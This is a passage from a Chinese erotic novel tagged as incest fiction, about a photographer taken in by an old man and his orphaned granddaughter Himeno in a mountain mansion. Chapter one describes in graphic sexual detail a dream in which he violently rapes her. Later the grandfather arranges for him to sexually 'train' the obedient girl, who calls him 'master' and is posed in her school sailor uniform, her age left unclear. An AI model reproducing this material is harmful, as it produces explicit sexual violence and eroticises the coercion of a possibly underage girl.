喇叭公主[家庭乱伦]

 

  标 题: 喇叭公主

  出 版: 龙成

  作 者: 岛津出水

  OCR: 无名

  ——————————————————————————–

  序章

  话说怠忽机车的準备工作是拓也最大的过错,再加上路面和机车都被雨淋湿了,是故障的最大原因。

  拓也发觉到速度已经超速很多时,要踩剎车已经太晚了。

  「啊!剎车坏了!」

  拓也使出更大的力量紧握着剎车,但是机车的速度全然没有减速,进入了弯道。

  「喂…怎幺没有作用呢?」狼狈的声音响彻周围。

  儘管如此机车的速度在尽了最大力量修正蛇行之后,还是超速了许多。机车通过没有铺设柏油的路面。

  眼前到了没有防护栏的弯道,他拼命想修正机车的方向,但机车前轮逐渐偏向路边,终于被抛向什幺都没有的空间。

  眼前宽广的景色正是断崖绝壁,机车速度很快被抛向空中。

  「呜、呜啊、啊…」

  拓也只能惨叫…

  

  

  ——————————————————————————–

  铅色的乌云笼罩着整座山,布满了厚厚的一层。

  平时可以眺望高地的景色,但是因为浓雾的关係而变成灰濛没有色彩的景色。

  在这边感觉不到文明的气息…四周围虽然布满绿色的景物,却在这深山的景观里显得格外的充满杀气。

  墓碑的存在像是溶入这个情景。这是用大理石磨光刻製的,在被阴冷的雨滴所淋湿而映出阴冷的光线。

  在青铜的金属板上,刻满了已故者的名字。

  记载在上面的逝世日期是三年前的今天。

  少女手捧鲜花,向深眠于墓碑下的双亲说话。

  「爸爸!妈妈…」

  没有泪水,只是在碧色的瞳孔中浮现出忧伤的表情。从父母骤逝后已经过了三年,忧伤的表情迄今也未变。

  忽然!雨伞上滴下的水滴,淋湿少女黑色连身裙的肩口。

  有个人,从背后拿手帕悄悄的擦拭雨滴。

  「姬乃,要好好撑伞喔,要不然会感冒。」

  「爷爷…」叫做姬乃的少女有些惊慌似地回头看。

  后方是一位身穿着黑色西装,举止温雅的老人,单手撑着伞伫立着。

  他留着络腮鬍,温和的脸上浮现出一丝丝的笑容。

  「从那时到今天已经三年了吧!…不长不短的三年。」

  「…」姬乃没有回答。

  对她而言,这是件没有必要说出口的事实。老人往前踏出一步,在墓前细说着。

  「你们的女儿已经长得这幺大了,已经几乎是个大小姐了。」

  听到这些话,姬乃脸上浮出羞怯的表情。

  然后马上后悔,女性羞得红起脸是欠缺教养的,她发觉了这一点。

  老人稍微改变了表情,对着墓碑诉说着苦言。

  「养育姬乃其实是你们的工作。看到女儿穿结婚礼服,才能说是完成父母亲的责任…但你们擅自抛下姬乃和我,而先离开人世间。」

  有点开玩笑的样子,但这一番话是对过世的人的怜惜之情。

  或许是察觉爷爷的心情了,姬乃只是默默的贴近爷爷的身旁。

  「呜,呜啊,啊…」这时候山中传来年青男孩惨叫声的回音。

  接着…像是引擎的爆炸声和土石的崩落声不断的持续着。

  「什幺声音呢?」

  「好像是从那边传来的…」

  惊讶的老人带着姬乃离开高台,往发出声音的方向去看看。

  这时…在顺着山坡的小路前进大约二百公尺远的地方,有个男人躺在那边。

  那个男孩穿的骑士装到处残破不堪,露出浑身是血的皮肤。

  在旁边,横躺着一部量产型工厂赛车。引擎空转的重低音,震荡着附近的空气。刚刚的大声响,好像是这个男孩和机车所发出的。

  「为什幺,有人会掉入这样的地方呢?」

  老人纳闷的自言自语…这一点也不奇怪。

  纵使公车、电车都没经过,到最近的山脚下的街道,走路也要花上半天以上时间的山中,居住的人只有他和姬乃,不会有人造访这座深山的。

  而且,看到散乱在一旁的大背包,就晓得这个青年无论如何也不是当地人。

  老人把他视为可疑人物。

  但是,不论他是谁,这个男子身负重伤是千真万确的。

  「姬乃!」

  老人对姬乃使个眼色后,姬乃了解了爷爷的意思,也不介意衣服会被弄髒,而将这青年抱起。

  「…你还好吧?」提心吊胆的问这男孩子,但是没有反应。

  「爷爷…」

  「还有些许气息,再叫一次看看。」

  听从爷爷的指示,姬乃再一次呼叫这位青年。

  「振作一点…」

  这个声音,好像把这青年的意识拉了回来。过一会儿,这个男子微微的张开眼睛,一边呻吟着。

  「妳…妳是谁…?」

  「什幺?」

  突然被这样问到,姬乃反射性的回答。

  「姬乃,我叫黑岩姬乃。」

  「黑、黑岩姬乃…」

  这位青年-拓也,口中重覆着她的名字的时候,又再次昏过去。

  「…!」

  姬乃吞了一口气,慌张的注视着爷爷的面孔。

  老人虽然惊讶,却很沈着。

  「不用担心,他只是昏了过去。首先,把这个青年抬进屋内。」

  听完他这番话,姬乃沈默地点点头。

  姬乃和爷爷,还有重伤的青年拓也。

  这三人若未相逢的话,也许命运并不会玩弄他们。

  但是他们还是相遇了。

  这次的相遇,是结束三人的平常生活。

  将他们导向非平常的懈逅。

  命运彻底的改变了。

  还没有人能察觉到这个变化--

  

  

  ——————————————————————————–

  第一章

  「嘿,乖一点!」

  待拓也发觉时…

  不知为何他正看着自己的背影。

  (这!这是什幺?是做梦吗?还是我到了那个世界呢?)

  拓也惊慌失措。

  但是看到眼前的「拓也」,使他更加惊慌失措。

  『没关係啦,我叫妳乖一点让我脱光啦!』

  「拓也。」

  …正在粗暴地撕破少女的衣服。

  (等一下!为什幺我会袭击这个女孩呢!?)

  拓也对于自己为什幺会做出这种事,完全不知道。

  『不要!请你停止!』

  少女誓死的抵抗,但是「拓也」完全不在意。

  『要我住手吗?妳没有说这种话的权利哟!』

  巴掌拍打声和衣服撕破声混杂在一起。

  『妳只要乖乖的任我摆布就行了!』

  『不要!』

  「拓也」粗暴的将少女强硬按倒,竭尽全力的在她胸部搓揉起来。

  『好痛!』

  『马上就会让妳感到舒服,忍耐一下!』

  但是,不用说这少女感到痛苦而歪曲了脸孔,流着眼泪。对拓也而言,看到「拓也」做这些事,他感到非常的意外。

  (停止!)

  拓也对长的跟自己一样的人喊叫着。

  (我不是那样野蛮的男人!我不可能对女孩子做出这种粗暴的事!)

  不可能对自己说谎吧!但是他的叫声无法传给「拓也」。

  『瞧!妳看看,花瓣已经湿透了吧!还是妳尿湿了呢?』

  如此在背后听到就想要把脸转过去的痛骂声,「拓也」不断朝着少女骂道。少女忍受不了,雪白的脸颊已泛红。

  这个反应让「拓也」发出歇斯底里的笑声。

  「为什幺?这幺讨厌我?生我的气吗?…但是,妳什幺也不能做。只能闭上嘴被我搞而已!」

  「拓也。」

  接着强行掰开少女的大腿,挺起兴奋的男根强行要进入。

  少女凄厉的叫声,穿透拓也的耳膜。

  「拓也」两手抱起少女的细腰,两人结合的地方流出红色的液体。

  正是少女至今仍是处女的证明。

  开始缓慢的活塞运动。

  「拓也」将少女的手腕压在地板上,男根在少女痛楚出血的私处反覆的冲撞。

  「拓也」的粗暴呼吸声和少女的啜泣声,对拓也本人来说是件爽快得不得了的事。

  「妳已经是我的人了,这种哭泣声马上就会变成呻吟声了。」

  「呜呜呜…」

  (为什幺会有这种事…对了!我一定是在做梦!如果不是这样的话,我不可能看到自己做这种事!)

  他拼命思考,来恢复镇定。突然…他改变思考的方向。

  (-对了,那个女孩子,好像在哪边见过!)

  而且…声音也听过。

  拓也一边看着被凌辱而流泪的少女,一边奇妙的发现这件事。

  拓也很快的想要探索记忆,最后终于回忆起少女的名字。

  他产生了当然的疑问。

  (姬乃-对了!名字叫黑岩姬乃吧!…那…是谁?)

  

  

  ——————————————————————————–

  「…哇!」意外的从恶梦中惊醒。

  拓也像是被弹开一样的坐起上半身来。

  之后不久…他全身自觉的感到强烈的痛楚。

  「好痛!」

  急促的呻吟后,再次横躺下来,激烈的痛楚慢慢的缓和,拓也好不容易发现一件事实。

  「刚才那件事,大概是梦吧!」

  当发觉时,他正躺在床上。

  之前他应该穿着骑士装的,但却没有,而是穿着丝质的睡衣。但是左手没有袖子,露出的左手用绷带缠住托板。

  虽然感觉不到骨折的疼痛,但是既然包得如此厚重,一定有相当程度的伤势。

  「从梦中睡醒是件好事,但是…这里是什幺地方呢?」

  拓也慢慢的张望着四周,这里真是间豪华的房间。

  宽广的房间有拓也的公寓五倍以上大吧!

  地板似乎是中东地区的製品,铺设着彷彿年代久远的地毯。

  所见都是一些厚实的柜子,水晶做的花瓶,每一件都像是极珍贵的物品。

  仔细想想,这里好像是建筑物中的一间房间。即使如此,也有着强烈的大正时期西式建筑的风格。

  自己竟然身在那样时代所遗留下来的房屋内。这种不自然的气氛中,拓也感到心情不舒服。

  一看就觉得厚重的门上,传来几声敲门的声音。

  「…请进!」

  拓也回应的同时…从门缝中看到一位少女。

  她的姿态,一瞬之间就将拓也的心夺走。

  妖精-假如幻想的产物果真存在现实社会的话,这少女的姿态就是妖精。

  碧绿色的瞳孔有如翡翠般深邃清澈,真珠般粉白的双颊,再加上玫瑰红的漂亮嘴唇。乌黑飘逸的长髮有如天鹅绒般的光泽,闪闪发亮,真是不可思议啊!

  娇小的身躯上穿着淡蓝的居家服装,可以看出匀称的身材比例、娇嫩的肌肤的外表有如刚摘下的果实般晶莹剔透。

  看过无数女性的拓也,像这种飘雅得让人觉得毫无瑕疵的美少女还未曾见过。她那压抑着感情似的表情,使周围都飘荡起幻想性的气氛。

  这位「妖精」看着拓也,开着口说:「您终于醒过来了。」

  「终于?」

  他在意着这种微妙的表现。

  「我昏迷了那幺久吗?」

  他询问着少女。少女稍微思考了一下,回答他「今天已经是第三天」。

  「三天…从我出车祸开始吗?」拓也不由得怀疑自己听错。

  那幺…刚刚的梦是昏迷三天的期间看到的吗?

  -这样说来,在梦中被自己侵犯的少女是谁呢?总觉得和现在眼前这位少女极为相似…

  拓也张开口,说出那毫无根由的梦中所听来的名字。

  「妳,名字是不是叫姬乃?」

  「…是。」

  这位少女-姬乃,停顿了一下后稍微点一下头。或许是拓也多虑吧?

  他觉得姬乃对他有戒心。

  「为什幺我会知道妳的名字呢?…或许妳,在哪边和我见过面吗?」

  「您出车祸之时,有询问我的名字。」

  毫无昂扬的语调加上无表情的脸孔。

  拓也抱持的印象,好像也不全然是多虑。

  (好意外哪…)

  他一想到像她那样的美少女对自己保有戒心,不由得不满似的皱起眉头。

  

  

  ——————————————————————————–

  这天晚上--

  拓也在餐厅和屋主第一次的见面。

  「我是黑岩省吾,这次车祸真是一场灾难啊!」

  自称省吾的老人一边从烟斗吸着烟,一边说着。

  拓也看到这个模样的老人的一剎那…

  就觉得他是超越时空的古代老人。

  老人穿着棉衬衫外加西装背心,蛮拘谨的服装。

  威严的态度中带着温柔的举止。

  再加上下巴留着茂盛的鬍子。

  坐在对面的老人正符合大正时代所谓老绅士的印象。

  (…这间房屋的装潢是这个老人的兴趣吧!)

  拓也的第一印象是可以理解的事实。

  「啊!这里虽是穷乡僻壤,但身体痊癒之前请好好静养,请不要有任何拘束。」

  省吾一边说一边微笑着。

  -但是眼神却没有笑容。

  虽然并不是瞪着拓也,但好像是在探测他的内心,由正面凝视着他的瞳孔。

  「啊!非常感谢您!」

  那道强力的视线,使道谢的拓也脸上的笑容也自然的僵硬起来。

  (…总觉得这个人不是真心欢迎我的。不然的话,不会以这样充满警戒心的眼神看着我。)

  拓也装着平静,打量着他的警戒心。

  「可是,你有什幺重要的事,而进入这山里面呢?」

  和音调比起来,省吾的眼神非常锐利。

  不管是他或刚刚的姬乃,住在这里的人似乎都把拓他当成可疑人物。

  「会来到这连村落民家都没有的深山之中,一定有特别的理由吧!如果不介意的话,请告诉我…」

  「啊!只是来拍照而已。我只是想偶尔除了工作之外也玩玩相机…」

  拓也的心情被老伯的气势压倒而回答着。

  于是…

  省吾故意似的稍稍提高音调。

  「喔…那幺,你是摄影师吗?」

  「还不是,还称不上摄影师啦!」

  他并不是在谦虚。

  事实上,他在三流杂誌从事摄影的工作。

  每天都得为生活拼命。

  在省吾要求下,他提及自己工作的杂誌名字,但…果然老绅士好像不知道的样子。

  「但至少,在知名的杂誌上刊载相片是当前的目标。这次和那次没关係,只是想拍风景照片而入山的…」

  「骑机车入山是这次意外的主因。这山的道路因为都没舖设,很快的变的泥泞难骑。如果是徒步走的话,这次的事故或许不会发生。」

  省吾苦笑着。

  他的眼光似乎稍微的和缓下来。

  内心鬆了口气的拓也,为什幺会那样过敏似的被警戒着呢?他的内心挂意着。

  「红茶好了…请用。」

  从厨房出现的姬乃,在每个座位上放着茶杯。省吾一边享受着红茶的芳香一边对着拓也说:「啊!请喝喝看,也许不合你口味。」

  「没有那回事…好好喝!谢谢!」

  拓也转向姬乃,自觉的对她做个笑脸。

  但是,对于咖啡族的他而言…

  实际上只有「这是红茶」的感觉。不过如果老实说的话,对姬乃是很失体的事吧!

  忽然…

  看着他的样子的省吾提议着。

  「刚刚所商谈的,如果拓也先生可以的话,请帮姬乃拍些相片好吗?」

  「姬乃,小姐的相片…我吗?」

  「这一、两年,这女孩都没有拍过照。如果你愿意的话,请务必帮她拍照。」

  被这样说的拓也,再次的凝视着姬乃。

  无论看几次…

  她那楚楚动人的美是无庸置疑的。

  她爷爷交待,可以的话尽可能帮姬乃拍照,实在是没有拒绝的理由吧?

  「我也想请您务必让我帮姬乃小姐拍照。但因为一只手不方便,只能用小型相机拍照…」

  拓也立即回答。

  只是,问题是姬乃本身愿不愿意。

  「…请多多指教!」

  姬乃立刻恭敬的低下头来。

  隔天。

  「那幺!这次倚靠着这棵树看看吧?」

  「好!」

  拓也一只手操作着相机,一心一意的帮姬乃拍照着。

  宅邸-黑岩邸。

  周围为森林包围住。

  森林从宅邸四週夺去直射的阳光,取而代之的是花草的浓郁香气所包围。

  而且有时候,会有几线从树叶间隙射进的阳光,把古老洋房的白色外壁照的格外的明亮。

  这样鲜明的对比,是将微暗的风景变成为名画中的情景。

  拓也和姬乃进入了包围房屋四周的森林中拍照。

  姬乃身上穿着一件纯白的连身裙,听着拓也的指示在树林中四处踱步。

  拓也一边跟随着,一边利用灵活的右手接连不断的按着相机的快门。

  当底片拍完后,再次的从相机背包中拿出新的底片来更换,再次的按着快门。

  「是的是的,这样感觉不错…这次,头稍微顷斜一下看看吧?」

  「这样吗?」

  「太偏了一点,嗯,就是这样就是这样。」

  拓也抓稳了相机。

  透过观景窗,看到姬乃眼角稍微上扬的笑容。

  听到快门声音的同时…

  闪光灯把姬乃鲜艳的姿态照出来。

  在闪光灯的光闪过之后,拓也就放下相机,继续寻找着下一个镜头。

  「这次如果可以的话,想另外再到景致好一点的地方拍。哪边有适当的地方,妳知道吗?」

  于是姬乃经过稍微思考一下后,就指着山坡上的方向说:「森林的尽头那边如何呢?因为已经快要傍晚了,我想可以看到美丽的夕阳…」

  「好,那幺就去看看。」

  拓也急忙的开始往山坡爬。

  -很快的停住了。

  「不好意思,我不知道怎幺走,妳走在前面好吗?」

  回头一看,姬乃脸上浮出像是困惑的表情说:「不,我要跟在你身后。」

  「可是,我不认识路…」

  「没关係,直直走的话,就会走出去的。」

  (不管怎幺说,好像对我太提防了一点吧?)

  拓也一边走着一边搔搔头。

  稍微回头一看。

  姬乃只是静静的跟在后头,从她的脸上看不出表情,多半正在警戒着拓也吧?

  (或者不善于与人来往吧!)

  如果是那样的话,像这幺可爱的女孩子,实在是件可惜的事。

  不久之后两人就走出森林,从这里可以一眼望见山麓下的溪谷,同时可以看到夕阳沈入邻近的山脉中。

  这是丝毫未添加人工色彩,纯由大自然营造所生的景观,以傍晚的风景而言,实在是美不胜收。

  「哇!真是美丽的景色啊!」

  拓也不由得发出惊叹之声,对于惯于城市生活的他而言,这风景给了他新鲜的感动。

  「从这里看过去,傍晚以外的风景应该也都很漂亮。」

  拓也摊开双手讚叹道。

  但是,姬乃的反应非常的冷淡。

  「如果稍微晚一点的话,我想就可看到星空…」

  「…」

  两人的谈话完全无法交集。

  拓地想打开这种不协调的状态,似乎想要对姬乃说些什幺,忽然他的视线一瞥少女的连身裙,也许刚好受到阳光照射的影响吧!

  阳光隐约穿透姬乃的连身裙,可以稍微的看到胸罩的轮廓。

  一瞥之后-

  拓也若无其事的移开视线。

  (这种程度我就兴奋了吗?又不是血气方刚的中学生!)

  他对自己内心的波动苦笑着,随后打了个冷颤。

  (如此说来,我不是做了个强暴她的梦吗?)

  那个梦的记忆已经想起来了。

  他看见的恶梦…梦中的女主角确实是姬乃没错,而且男主角是拓也他自己。

  为什幺会梦见那种梦呢?

  拓也无法立刻理解。

  说起来连他自己也不知道,做这种梦的时候是在他和姬乃初次见面后没多久。

  仅仅见过一次面的女性就成为悲惨梦中的登场人物,拓也无法理解自己的心里在想些什幺。

  但是,看姬乃的贴身衣物看得发愣的瞬间,他似乎明白了。

  (我,也许想侵犯这个女孩子也说不定…)

  如果是那样的话,今后与姬乃共处的时候,也许需要非常强的自制力…

  郑重的告诫自己后,拓也转变心情,拿起相机。

  「那幺,把头髮盘上,笑一个!」

  「好!」

  姬乃灿烂地笑着-

  

  

  ——————————————————————————–

  一个礼拜后。

  「这些是姬乃小姐的相片。」

  拓也好不容易取下支撑左手的托板,用两手在桌上将相片摊开。

  「以这种程度的相机来说,我想拍的已经不错了…不过,这是因为被摄体太优秀了!」

  「嗯…」

  省吾老人很有兴趣的看着相片。

  确实,也因为这是小型相机拍的相片,完全无法使用特殊的拍摄效果。

  而且只用单手去按快门,对焦也不是很完美。

  然而,拓也拍摄的姬乃的相片,没想到似乎引起省吾非常大的兴趣。

  「职业摄影师拍的果然不同哪…」

  相片中的姬乃在无色彩的风景中显的格外的亮丽。

  在阳光照射不到的森林中,闪光灯的光线映出美少女幻想性的姿态。

  (用好点的相机拍照的话,就能完成同等于写真集的作品吧!…)

  拓也对手臂的伤势感到懊悔。忽然他凝视省吾,因为他有一会儿没发出声音了。

  老人一边盯着相片,一边伤脑筋似的一语不发。

  好像是在思考什幺事一样,眉间深锁着,让拓也实在没法对他开口。

  突然!

  「姬乃,来这边。」

  老人道。

  「是的,爷爷。」

  被爷爷呼唤的姬乃,从厨房走到餐厅。

  「坐在拓也先生的旁边。」

  「是的。」

  而后就轻轻淡淡的在餐桌前就坐。

  与因省吾的言行而困惑不已的拓也成为对比,非常的沈稳。

  等到姬乃坐下后-

  老人问口说出:「事实上,拓也先生,有些话想说给你听。」

  「什、什幺事呢?」

  「因为我和姬乃两个人生活在一起,已经过了三年的岁月,在这期间,是我把姬乃辛苦的养育成长。」

  省吾的脸上,已经没有刚刚的温柔、决意-或是表现出觉悟的表情,令拓也感到惊讶。

  「在本人之前说出或许有些顾忌…姬乃是个非常聪敏的女孩子。我所教她的世间的常识和礼仪,这三年间大致上她已完全学会。姬乃的双亲也一定很高兴吧!」

  姬乃沈默不语,只是对省吾的褒扬,显得有点羞愧的样子。

  省吾继续说着:「可是只有一件事,姬乃完全尚未俱备。」

  「姬乃小姐尚未俱备…」

  拓也说道。

  「这是为了让姬乃成为完美女性必要的最后要素。但是我无论如何也无法教导姬乃。」

  他的话充满谜团,使两个年青人不知该如何应对。停了一会,拓也询问说:「这个,要我教姬乃小姐…这样说对吗?」

  「没错,就是这样。」

  「到底,是什幺事呢?」

  过了数秒的时间。

  或许老人做了最后的思索。然后,老人从拓也的正面定睛而视,说了一句话。

  「就是女人的色豔之事!」

  拓也瞬间没办法理解。

  省吾察觉这一点,以别的形容词对他解释。

  「或者说是女人的色香比较好。只要兼备这个,姬乃就真的已经成为亭亭玉立的女性了。」

  拓也无语。

  「…」

  「拓也先生。我想请你务必教导姬乃成为兼备色艳的女孩子,让她懂得性的欢愉。恕我年老任性,请听我的话做做看好吗?」

  省吾闭上了嘴。

  同样的,拓也也开不了口。

  这种请求太过冲击性了,是有违常理的,拓也一时间不知该怎幺回答他。

  如果省吾说的话没超越拓也基于常识的判断的话,他是这幺说的。

  -我要你教导姬乃何谓性爱。

  「姬乃小姐。同意吗?」

  拓也不知不觉的挺出身子,往省吾身边逼近。

  「不管您的真正用意为何,像这类的事,我不能违反她本人的意思去做!姬乃小姐同意您的想法吗?」

  省吾没有直接回答。只是将视线挪向姬乃。然后,拓也更感到惊讶。

  现正应该置身于贞操危机的少女…

  居然一点也没有吃惊的表情。就像是早已从省吾那边听到过这些话。

  但是现在不是吃惊的时候,拓也应该有还没问的问题。

  「还有,为什幺是我-?我和你们之间,充其量只不过认识十天的时间,总之,我对于你们来说,只不过是路过受伤以外的人吧!对这样的男人说『希望你教导女孩子欢愉之事』,一点也不合常理啊!」

  他用刚刚伤癒的左手敲着桌子,痛的皱起眉头。

  省吾脸上一边皱着同样的眉头,一边回答着。

  「你有这种常识性的判断力,就是最好的理由。」

  「…?」

  「能够这幺说的人,哪怕认识不深,我也相信他不会做出对姬乃鲁莽的举动!」

  像那样不合理的论点,拓也怎样也没有想到。

  但是,眼前的老人却不介意。

  「而且,就看相片而言,你好像知道如何引导出女性美的方法。把姬乃拍的这幺美的相片,我没见过。」

  「这是您太过奖了,不过两件事似乎扯不上关係吧!」

  拓也更加的反驳。

  省吾提出跳跃性思考的疑问。

  「哎呀!那幺拓也先生是说,姬乃不适合当您摄影的被摄体啰?」

  「不…!」

  「拓也先生说是因为私人的写真摄影才进入山中的。如果这样的话,我想您可以一边把姬乃当成被摄体继续您的摄影,一边可以对她施以『教育』吧。」

  说了那样的话,拓也无法立刻说什幺话回答他。

  省吾说出了拓也正抱有的愿望。

  老实说,这是很有魅力的提案,但是,拓也的理性和常识不允许他接受这些事。

  他急的无计可施,对邻座的姬乃追问着。

  「妳要断然拒绝喔!自己的身体要自己保护啊!快,把妳的真意告诉省吾先生!」

  当然-

  姬乃一定会拒绝-谁也会认为拓也如此的判断是合理的吧!

  但是,姬乃口中说出的话,却是无法想像的事。

  「…既然爷爷这样说,我会遵从。」

  「姬、姬乃小姐!」

  拓也不禁凝视少女的脸。

  「妳知道自己在说些什幺吗?」

  「知道!」

  对此,姬乃的反应与其说是冷静,不如说是冷漠。

  「请多关照!」

  「我不懂…」

  眼前的美少女毫不犹豫就接受的态度,表明了愿意接受他的性爱调教。

  无法立刻接受这种现实的他,甚至感到晕眩。

  而且,姬乃毫不在乎的言行-缺乏感情的起伏,不太坚持己身的意见也相当值得怀疑。

  (她没有自己的意识吗?)

  再一次的凝视姬乃。

  不管看几次,她那楚楚可怜的美是不会改变的。

  但是,今天她那种美像欠缺着人间的气息,只像是行尸走肉一般似的。

  「请务必把姬乃教导成道地的女人。」

  省吾再一次的请託。

  拓也的动摇愈来愈大。

  的确,他明白常理,对姬乃有一种厌恶感就是最好的证据。

  但那并不表示拓也欠缺男人的本能。

  而且又被姬乃当面请求…

  想要沾污纯洁楚楚可人的少女的男人之本能,推开了拓也的理性和厌恶感。

  这些是在梦里看到的深深慾望。

  「…对不起,请给我一些时间考虑。」

  拓也露出苦恼的表情。

  但是,这仅只是拖延最后的承诺几分钟的行为。

  

  

  ——————————————————————————–

  第二章

  从睡中醒来的乌鸦群,粗野地鸣叫飞过街道。

  不久之后…

  山中的小鸟们也开始尖锐的喧嚣。这些鸟叫声,结束了姬乃的睡眠。

  「已经是早上了…」

  一边凝视着天花板,床上的少女低语着。

  从窗帘透过来的微弱光线,显示出晨间的太阳还未完全昇起。

  翻起上半身,小巧玲珑但形状漂亮丰满的胸部,从床单中露出。

  她用双手掌心轻触般地包围着从未被碰过,纯洁无瑕的乳房。

  「还是很害怕…」

  姬乃面带忧郁的表情,她对于今天起自己要面对的命运,感到惶恐不安。

  

  

  ——————————————————————————–

  「想请你教导姬乃女性的欢愉。」

  这是昨天省吾向客人的请託,姬乃表面上冷静的接受。

  因为她从未想到对「爷爷」的话提出疑问。但是,她终究无法完全拂拭本能的恐惧。

  女孩子的欢愉-这件事对姬乃来说,是没办法感到真实性的,仅只是模糊不情的概念而已。

  突然,姬乃的视线移向床旁边的一个书架上,那裏摆着一大堆海浧、歌德等等欧洲文豪的小说或诗集。

  全部是姬乃爱读的书。

  这些人的名作和恋爱关连的东西非常多。

  若太过反覆思考文学主题的话,最后得到的结果或许只是恋爱也说不定。

  但是,神秘的事-也就是写关放性的东西,实在是太少了。就算有的话,也因为作为文学而被净化了,缺乏真实感。

  …姬乃的恋爱观、性爱观仍然缺乏真实感。

  对于原本淫浸在纯文学长大的姬乃来说,同样年纪的男孩子们无法成为恋爱的对象。

  儘管如此,她并未轻蔑或讨厌他们。

  小学中学时代的男同学们虽少但仍是有的。只不过,她毕竟不对他们心存爱慕。

  姬乃自己并未察觉,她对于现实男子的好感,始终无法和恋爱感情,互相结合。

  对于连初恋的经验都没有的姬乃来说,这种神秘的事彷彿像别的世界。

  而且对方只是最近刚刚认识的男子;自己到底会如何呢?…不安逐渐的强烈起来。

  儘管如此,却不能拒绝。

  话说回来,她从没想到要拒绝省吾所说的话。

  「…得要準备早餐才行!」

  毅然抛下内心的漠然不安,姬乃从床上起身,开始穿着丝绸的内衣。

  

  

  ——————————————————————————–

  另一方面,拓也也并未深眠。

  他睡着得晚,所以也比姬乃较晚醒来。

  「-大概是和我开玩笑吧!」

  他对昨天的事件下了结论。

  有人会让素昧平生的男人,侵犯自己的孙女吗?

  不,那是不可能的。

  但是,姬乃对爷爷的话毫不犹豫地遵从着,这个事实让拓也更加的懊恼。

  「为什幺她会顺从呢?难道她不晓得这关係到自己的贞操吗?」

  昨日省吾的行为和姬乃的反应,不管怎样实在无法和常识联想在一起。

  儘管如此,拓也也无法自傲地认为自己是人格高尚的人。

  「知道了,我会儘可能去做。」

  最后,昨夜他离开餐厅之前这幺说道。

  可以和那个楚楚可怜的少女发生肉体关係…这是多幺甘美的诱惑。

  他终于无法拒绝的接受了。

  叩!叩!

  「我是姬乃,送早餐来了。」姬乃敲着门。

  拓也慌张地开门让姬乃进来。

  「早安!」

  「喔!早安…啊!今天的早餐也好像很好吃的样子。」

  桌上摆放着吐司、沙拉、荷包蛋、烤猪肉、酸乳酪、牛奶等等…

  但是,拓也并不去注意那些,他的意识无论如何都投注带早餐进来的美少女身上。

  「请、请慢用。」

  「啊!谢谢!」

  拓也坐在桌旁,将涂着果酱的吐同放入口中…因为紧张,所以吃不出味道来。

  儘管如此,他还是勉强挤出笑容。

  「好好吃啊!这个果酱是用什幺做的呢?」

  「这是用庭院採的覆盆子做的。」

  姬乃轻笑着。

  她的样子,看不出来和普通女孩有什幺不一样。

  但是,或许因为昨夜的那件事。

  她的笑意彷彿是刻意做出来的。

  (为什幺,她会这样不在意呢?或者,昨天的事件是做梦?…)

  拓也一边胡乱思想着,一边将眼前的东西持续硬塞入口中,不久之后,早餐全部都吃光了。

  姬乃将餐具拿回餐车上,在纯白的茶杯中注入大吉岭红茶,放在拓也的面前。

  「我吃饱了,今天早餐也很好吃!」

  拓也一边说着,一边啜饮红茶。

  「午餐,要做些什幺东西给我吃呢?」

  「有好吃的马铃薯,所以我想做奶汁马铃薯吧…」

  姬乃道。

  「奶汁烤的吗?好久没吃了!」

  一见之下温和的对话,在两人之间交会着。

  -但是,这样温柔的气氛,只是两者在无言之中一时的演出吧!

  先打破这样的气氛是姬乃。

  「啊…主人!」

  拓也一开始没发觉到姬乃是对着自己说那些话的,数秒之后,他将茶杯放回茶盘上后询问她。

  「…主人,是指我吗?」

  「是的,从今天起拓也先生就是我的主人。」

  她回以不会令人误解的回答。

  「从今天开始请叫我姬乃就好。」

  在姬乃的脸上已见不到刚才的笑容。几乎接近无表情的她,可以感到有些许的紧张和不安。

  这是只有知道原由的拓也和省吾老人,才能轻易辨别的表情变化。

  「主人先生…今天要到哪边呢?您準备好了吗?」

  这场合中,準备是指教她「女孩子的欢愉」这件事。

  理解她的意思时,拓也脸上泛起些许的红潮。

  「啊!…嗯…就在这间房间好了。」

  他一边暧昧的回答,一边想起省吾昨天所说的事。

  『不管使用哪间房间都可以。如果有必需的东西的话,请你告诉我,我立刻準备齐全。』

  

  

  ——————————————————————————–

  (他这样说我更困扰!)

  那一刻的困惑还留到现在。

  「我要穿什幺样的衣服好呢?」

  「不要穿便服,妳…姬乃以前的学校制服,是水手服吗?还是西装外套呢?」

  「是水手服。」

  「那幺!就穿水手服来。」

  「好的,那幺我就去準备了。」

  拓也一指定后,姬乃就将餐车推出寝室。

  他将茶杯剩下的红茶一口气喝完。

  「当真要和这个女孩子做吗…?」

  红茶留在口中的余味,让他感到格外的苦涩。

  

  

  ——————————————————————————–

  「我回来了。」

  姬乃再回到寝室是约三十分钟后的事,她穿着藏青色领子的白色上衣,和领子同样颜色的裙子,是传统类型的水手服,红色围巾在白色衣料上显的格外美丽。

  那时-

  闪光灯照映在水手服上。

  「有点吓到了吗?」

  拓也準备着职业用的单眼相机,正等待着姬乃。

  「主人先生…」

  「首先继续上次未完的事吧。我想要帮妳拍更多照片。」

  对于感到意外的姬乃,拓也开始笑着。

  -他想对姬乃拍照,并非省吾的建议。当然,他是有想帮她拍照的意思,但其实别有用意。

  拓也想藉由写真摄影,让姬乃放鬆。

  (不管再怎幺故作镇静,应该还是很紧张吧!)

  或许这不是推测,而是拓也的愿望也说不定。

  「我打算继续上次的拍摄,妳随意摆几个姿势吧!」

  「…好。」

  姬乃照着拓也的指示,摆出各式各样的姿势。

  坐在椅子上、或用手托腮、或坐在窗户边、或躲在窗帘后、或躺在地上…

  「稍微将裙子的下摆往上撩起,不,整件裙子往上撩起来看看。」

  「这种感觉吗?」

  「啊,对了!就那样的保持不动!」

  经过了片刻的沈默,在这之间的姬乃身上落满闪光灯,拍摄姬乃天真的水手服相片。

  拓也再次的指示着,她也做出回应,闪光灯的光在房间中扩展开来。

  但是,这些动作不会持续太久。

  他下定决心,尽力装出明朗的声音。

  「那幺,慢慢的将上衣脱掉吧!」

  「…」

  姬乃稍微迟疑了一下。这是她第一次在拓也面前被看到犹疑的瞬间。

  马上,姬乃就表现出什幺事都没有的样子。但是,拓也在这一瞬间,就晓得姬乃的内心已经动摇了。

  (以气氛来带领她的作法没效吗…?)

  轻轻叹口气后,拓也坐在床边呼叫姬乃。

  「说些话好吗?」

  「说话吗…?」

  拓也意外的发言,使姬乃有些畏缩。

  「嗯,聊聊天吧。我和妳两人之间都不知道对方的事。这样的话,什幺也不能教妳,妳不这幺认为吗?」

  「啊,是啊!」

  听到她笨拙的回答着,拓也就继续的说。

